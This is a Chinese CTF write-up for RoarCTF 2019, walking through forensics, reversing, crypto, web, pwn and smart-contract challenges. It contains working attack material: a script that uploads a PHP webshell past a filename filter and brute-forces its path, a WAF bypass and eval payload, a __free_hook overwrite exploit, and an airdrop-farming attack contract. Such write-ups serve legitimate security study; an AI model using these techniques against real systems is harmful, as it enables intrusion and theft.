作者:樓上請讓路戰隊
時間:2019年10月22日

黃金6年

文件尾部有一段base64,解碼為16進制可以看到是一個壓縮包

使用pr抽幀

可以看到部分幀中有二維碼,依次掃碼即可得到key iwantplayctf

forensic

直接上volatility

建議profile,直接用Win7SP1x86就可以。

查看進程

volatility -f mem.raw pslist --profile=Win7SP1x86

可以看到存在以下幾個值得注意的進程:

Dumpit.exe 一款內存鏡像提取工具。

TrueCrypt.exe 一款磁盤加密工具。

Notepad.exe windows自帶的記事本。

Mspaint,exe windows自帶畫圖工具。

通過查看userassist可以發現notepad mspaint 在提取內存時在內存中并沒有數據。查看用戶Home目錄的文件,可以發現有一個用戶保存的圖片文件

volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'

把圖片dump下來

通過查看桌面文件還可以發現dumpit.exe在桌面上,而dumpit.exe默認生成的文件是 {hash}.raw,默認保存路徑是dumpit.exe所在的路徑。

嘗試dump 位于0x000000001fca1130位置的raw鏡像,發現該文件還沒有數據,因此判斷取證的時候dumpit.exe還在運行中,dump下來dumpit.exe的內存鏡像。

對dumpit.exe的內存鏡像進行分析

猜測密碼就是剛那張圖片上的扭曲文字

不得不說,有幾個位置很難辨認,比如第一個字符是數字1還是字母l還是字母I,那些大小寫長得一樣的是大寫還是小寫,中間那個是y還是g。直接上掩碼爆破

TankGame

用dnspy反編譯,關鍵代碼:

public static void WinGame()
   {
       if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5)))
       {
           string str = "clearlove9";
           for (int i = 0; i < 0x15; i++)
           {
               for (int j = 0; j < 0x11; j++)
               {
                   str = str + MapState[i, j].ToString();
               }
           }
           if (Sha1(str) == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01")
           {
               FlagText._instance.gameObject.SetActive(true);
               FlagText.str = "RoarCTF{wm-" + Md5(str) + "}";
               winGame = true;
           }
       }
   }

   public static string Md5(string str)
   {
       byte[] bytes = Encoding.UTF8.GetBytes(str);
       byte[] buffer2 = MD5.Create().ComputeHash(bytes);
       StringBuilder builder = new StringBuilder();
       foreach (byte num in buffer2)
       {
           builder.Append(num.ToString("X2"));
       }
       return builder.ToString().Substring(0, 10);
   }

   private void OnTriggerEnter2D(Collider2D collision)
   {
       int x = (int) collision.gameObject.transform.position.x;
       int y = (int) collision.gameObject.transform.position.y;
       switch (collision.tag)
       {
           case "Tank":
               if (!this.isPlayerBullect)
               {
                   collision.SendMessage("Die");
                   UnityEngine.Object.Destroy(base.gameObject);
               }
               break;
           case "Heart":
               MapManager.MapState[x + 10, y + 8] = 9;
               MapManager.nDestroyNum++;
               collision.SendMessage("Die");
               UnityEngine.Object.Destroy(base.gameObject);
               break;

           case "Enemy":
               if (this.isPlayerBullect)
               {
                   collision.SendMessage("Die");
                   UnityEngine.Object.Destroy(base.gameObject);
               }
               break;
           case "Wall":
               MapManager.MapState[x + 10, y + 8] = 8;
               MapManager.nDestroyNum++;
               UnityEngine.Object.Destroy(collision.gameObject);
               UnityEngine.Object.Destroy(base.gameObject);
               break;

           case "Barrier":
               if (this.isPlayerBullect)
               {
                   collision.SendMessage("PlayAudio");
               }
               UnityEngine.Object.Destroy(base.gameObject);
               break;
       }
   }

墻1替換成8,老家0替換成9,66個變量,4或5個位置需要變,首先爆破66 * 65 * 64 * 63,爆破出來了,計算md5得到前10字節,得到flag,細節如圖:

simple_upload

 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

        $upload = new \Think\Upload();// 實例化上傳類
        $upload->maxSize  = 4096 ;// 設置附件上傳大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 設置附件上傳類型
        $upload->rootPath = './Public/Uploads/';// 設置附件上傳目錄
        $upload->savePath = '';// 設置附件上傳子目錄
        $info = $upload->upload() ;
        if(!$info) {// 上傳錯誤提示錯誤信息
          $this->error($upload->getError());
          return;
        }else{// 上傳成功 獲取上傳文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
} 

ThinkPHP默認上傳文件名是遞增的。代碼中ThinkPHP的后綴過濾無效,所以通過上傳多個文件的方式,繞過.php后綴的判斷,文件名,需要爆破

寫腳本上傳一個正常文件,再上傳多個文件,再上傳一個正常文件。然后獲取到第一三次上傳的文件名

import requests

url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload"

files1 = {'file': open('test.txt','r')}
files2 = {'file[]': open('test.php','r')}

r = requests.post(url,files=files1)
print(r.text)

r = requests.post(url,files=files2)
print(r.text)

r = requests.post(url,files=files1)
print(r.text)

爆破一下第一三文件名之間的所有文件名

import requests

#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1}
#{"url":"\/Public\/Uploads\/","success":1}
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1}


s = "1234567890abcdef"
for i in s:
    for j in s:
        for k in s:
            for l in s:
                url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l)
                r = requests.get(url)
#               print(url)
                if r.status_code != 404:
                    print(url)
                    break

爆破到文件名后,即可訪問上傳的木馬,拿到flag

easy_calc

這題首先進去發現是一個計算器的題目。

這道題是國賽的love_math的修改版,除去了長度限制,payload中不能包含' ', '\t', '\r', '\n',''', '"', '`', '[', ']' 等字符,不同的是網站加了waf,需要繞過waf。首先需要繞過waf,測試發現當我們提交一些字符時,會直接403,可以構造畸形的HTTP包來繞過,經測試使用兩個 "Content-Length" 就可以了。

因為禁掉了一些字符,所以導致我們不能直接getflag,繼續分析payload構造

這里用到幾個php幾個數學函數。

我們首先要構造列目錄的payload,肯定要使用scandir函數,嘗試構造列舉根目錄下的文件。scandir可以用base_convert函數構造,但是利用base_convert只能解決a~z的利用,因為根目錄需要/符號,且不在a~z,所以需要hex2bin(dechex(47))這種構造方式,dechex() 函數把十進制數轉換為十六進制數。hex2bin() 函數把十六進制值的字符串轉換為 ASCII 字符。

構造讀取flag,使用readfile函數,paload:base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36)),方法類似

easy_java

這道進去首先想到的就是任意文件下載,但是剛開始用GET方式一直什么都下載不了,連網站確定目錄的圖片都下不了。后來修改為post,可以了。。。

嘗試讀取WEB-INF/web.xml發現操作flag的關鍵文件位置

將圖中base64解碼即flag。

ez_op

payload:

#!/usr/bin/env python3
# -*- coding=utf-8 -*-

from pwn import *

system_addr = 0x08051C60
hook_free = 0x080E09F0

# opcdoe
opcode = ""

# get stack_addr
opcode += """\
push 5
stack_load\
"""

# sub hook_free
opcode += f"""\
push {hook_free}
sub\ 
"""

# value / 4 + 1
opcode += """\
push 4
div
push 1
add\
"""

# *hook_free = system_addr
opcode += f"""\
push {system_addr}
stack_set\
"""
opcode = f"""\
push {0x6e69622f}
push {0x68732f}
push {system_addr}
push 1
push 4
push 64
stack_load
push {hook_free}
sub
div
sub
stack_set\
"""
OPCODET = {
  "push": 0x2a3d,
  "add": 0,
  "sub": 0x11111,
  "div": 0x514,
  "stack_set": 0x10101010,
  "stack_load": -1
}
opcode_list = opcode.split("\n")
op_result = []
num_result = []
for op in opcode_list:
  tmp = op.split(" ")
  assert tmp[0] in OPCODET
  op_result.append(str(OPCODET[tmp[0]]))
  if len(tmp) == 2:
      num_result.append(str(tmp[1]))

result_op = " ".join(op_result)
result_num = " ".join(num_result)

print(result_op)
print(result_num)

polyre

使用 deflat.py 脫去控制流平坦化,加密算法大致是:輸入 48,平分 6 組,將每組 8 字節轉化為 long 類型的值,對每組進行加密,先判斷正負,然后將值乘 2,隨后根據正負異或 0xB0004B7679FA26B3,循環 64 次,最后進行比較;按照這個邏輯寫逆運算就可以了,逆運算見 depoly.py

origin = [0xbc8ff26d43536296,
          0x520100780530ee16,
          0x4dc0b5ea935f08ec,
          0x342b90afd853f450,
          0x8b250ebcaa2c3681,
          0x55759f81a2c68ae4]
key = 0xB0004B7679FA26B3
data = ""

for value in origin:
    for i in range(0, 64):
        tail = value & 1
        if tail == 1:
            value = value ^ key
        value = value // 2
        if tail == 1:
            value = value | 0x8000000000000000
        #print(hex(value))
    # end for
    print(hex(value))
    j = 0
    while (j < 8):
        data += chr(value & 0xFF)
        value = value >> 8
        j += 1
    # end while
#end for
print(data)

rsa

根據題目文件可知:

A=(((y%x)5)%(x%y))2019+y**316+(y+1)/x

p=next_prime(zxy)

q=next_prime(z)

n=p*q

直接爆破A方程可得 x*y=166。(一個是2一個是83,懶得重新寫腳本了很好爆。)

然后可得

p=next_prime(z*166)

q=next_prime(z)

可以推斷出,n和zz166的值相對來說是距離比較近的,根據next_prime可以推測出sqrt(n/166)的值和p和q的其中一個是很接近的,爆破即可。

py2 :

import sympy

import gmpy2

n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127

m是n/166的開放根,和p q 中的一個距離很近

m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)

m2=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029*166

k=m

p=0

q=0

while (m>10000):

    if(n%m==0):

        \#print (m) A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x

根據方程可以直接算出x和y

a=2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724

x=1

y=1

n=0

c=0

d=0

for x in range(1,100):

   for y in range(2,100):

       c=(y+1)/x

       d=x%y

       if(d!=0):

           n=(((y%x)**5)%d)**2019+y**316+c

       if(n==a):

            print (x)

            print (y)

可得x=2 y=83

p=next_prime(z*x*y)

q=next_prime(z)

n=q*p

因此可以猜測n和(zxy)z的值也是很接近的,也就是n和z^2166是很接近的,那么sqrt(n/166)和q是很接近的。所以從sqrt(n/166)附近查找prime。

e是未知的,但是e的取值范圍相對是小的,直接猜或者爆破,結果可知e為65537.

解密腳本

import sympy

import math

import binascii

from Crypto.Util.number import long_to_bytes

n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127

m即是sqrt(n/166)的近似值

m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)

c=86974685960185109994565885227776590430584975317324687072143606337834618757975096133503732246558545817823508491829181296701578862445122140544748432956862934052663959903364809344666885925501943806009045214347928716791730159539675944914294533623047609564608561054087106518420308176681346465904692545308790901579479104745664756811301111441543090132246542129700485721093162972711529510721321996972649182594310700996042178757282311887765329548031672904349916667094862779984235732091664623511790424370705655016549911752412395937963400908229932716593592702387850259325784109798223415344586624970470351548381110529919234353

p=0

q=0

\#從m附近查找q或p

while(m>100):

    if(n%m==0):

        p=m

        print "p="

        print p

        q=n/p

        print "q=" 

        print q

        break

    m=sympy.nextprime(m)

def egcd(a,b):

    if a==0:

        return (b,0,1)

    else:

        g,y,x=egcd(b%a,a)

        return (g,x-(b//a)*y,y)

def modinv(a,m):

    g,x,y=egcd(a,m)

    if g!=1:

        raise Exception(" error")

    else:

        return x%m

e=1

d=0

爆破e

while(e<100000):

    \#try:

    \#e=sympy.nextprime(e)

    e=65537 #最后爆破成功的e

    d=modinv(e,(p-1)*(q-1))

    m=pow(c,d,n)

    print long_to_bytes(m)

    m_hex = hex(m)[2:]

   \# try:    

    print m_hex

    print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))

   \# except:

   \#   if(e%10000==0):

   \#       print e

babyrsa

一個數學結論:對于一個素數p來說,(p-1)的階乘加上(p-2)的階乘等于p乘以(p-2)的階乘,能被p整除,(p-1)的階乘除以p余p-1(因為p的階乘能被p整除)

就是

(p-1)!+(p-2)!=p*(p-2)!  
(p-1)!=p*(p-1)
(p-2)! % p=1

解密腳本如下:

import sympy
from Crypto.Util.number import long_to_bytes
def egcd(a,b):
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)
def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception(" error")
    else:
        return x%m
a1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
b1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
a2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
b2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428
p=1
q=1
i=1
l=0
for i in range(b1+1,a1-1):
    p *= modinv(i,a1)
    p %=a1
p=sympy.nextprime(p)
print "p="
print p
for i in range(b2+1,a2-1):
    q *=modinv(i,a2)
    q %=a2
q=sympy.nextprime(q)
print "q="
print q
r=n/q/p
print "r="
print r
fn=(p-1)*(q-1)*(r-1)
print "fn="
print fn
e=4097
d=modinv(e,fn)
print "d="
print d
m=pow(c,d,n)
print "m="
print m
print long_to_bytes(m)

區塊鏈1

做題的時候發現已經有人做出來了,然后去看做出來人的交易記錄,發現是薅羊毛,通過逆向做出來人的記錄,照抄了一個,payload合約如下:

/**
 *Submitted for verification at Etherscan.io on 2019-10-08
 */

 pragma solidity ^0.4.24;

 contract P_Bank
 {
   mapping (address => uint) public balances;

   uint public MinDeposit = 0.1 ether;

   Log TransferLog;
   event FLAG(string b64email, string slogan);
   constructor(address _log) public { 
       TransferLog = Log(_log);
     }
   function Ap() public {
       if(balances[msg.sender] == 0) {
           balances[msg.sender]+=1 ether;
       }
   }
   function Transfer(address to, uint val) public {
       if(val > balances[msg.sender]) {
           revert();
       }
       balances[to]+=val;
       balances[msg.sender]-=val;
   }
   function CaptureTheFlag(string b64email) public returns(bool){
     require (balances[msg.sender] > 500 ether);
     emit FLAG(b64email, "Congratulations to capture the flag!");
   }
   function Deposit()
   public
   payable
   {
       if(msg.value > MinDeposit)
       {
           balances[msg.sender]+= msg.value;
           TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
       }
   }

   function CashOut(uint _am) public 
   {
       if(_am<=balances[msg.sender])
       {

           if(msg.sender.call.value(_am)())
           {
               balances[msg.sender]-=_am;
               TransferLog.AddMessage(msg.sender,_am,"CashOut");
           }
       }
   }

   function() public payable{}    

 }

 contract Log 
 {

   struct Message
   {
       address Sender;
       string Data;
       uint Val;
       uint Time;
   }
   string err = "CashOut";
   Message[] public History;
   Message LastMsg;
   function AddMessage(address _adr,uint _val,string _data)
   public
   {
       LastMsg.Sender = _adr;
       LastMsg.Time = now;
       LastMsg.Val = _val;
       LastMsg.Data = _data;
       History.push(LastMsg);
   }
 }
 contract FatherOwned {
   address owner;
   modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
 }
 contract Attack
 {
   address owner;
   P_Bank target;
   constructor(address my) public { 
       owner = my;
       target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
       target.Ap();
       target.Transfer(owner, 1 ether);
       selfdestruct(owner);
     }
 }
 contract Deploy is FatherOwned
 {
   constructor() public { 
       owner = msg.sender;
     }
     function getflag() public onlyOwner {
         P_Bank target;
         target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
         target.CaptureTheFlag("baiyjrh@gmail.com");
     }
     function ffhhhhhhtest1() public onlyOwner {
     uint i;
     for (i=0; i<10; i++){
         new Attack(owner);
     }
     }
     function ffhhhhhhtest2() public onlyOwner {
     uint i;
     for (i=0; i<30; i++){
         new Attack(owner);

     }
   }
     function ffhhhhhhtest3() public onlyOwner {
     uint i;
     for (i=0; i<50; i++){
         new Attack(owner);
     }
   }
   function ffhhhhhhtest4() public onlyOwner {
     uint i;
     for (i=0; i<70; i++){
         new Attack(owner);

     }
   }
 }

智能合約2

給的源碼和實際的不一樣,同樣了看了下之前做出來的人的交易,發現了一個函數:0x5ad0ae39

逆向一下得到大概代碼:

func 0x5ad0ae39(address1, address2, uint, address3)
   require(allowance[address1][msg.sender] >= uint)
   require(address3 == msg.sender + 0x32c3edb)
   balanceOf[address1] -= _value;
   balanceOf[address2] += _value;
   allowance[address1][msg.sender] -= _value;

然后在標準token的sol里面有一個函數:

function approve(address _spender, uint256 _value) public returns (bool) {
   allowed[msg.sender][_spender] = _value;
   Approval(msg.sender, _spender, _value);
   return true;
 }

通過approve函數給allowance[msg.sender][msg.sender]賦值,隨便大于1000的值就行。

然后調用0x5ad0ae39,這里就比較蛋疼了,因為爆破不出這個函數名,沒法直接用remix做題,沒辦法只能寫代碼了。

過程如圖:


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/1059/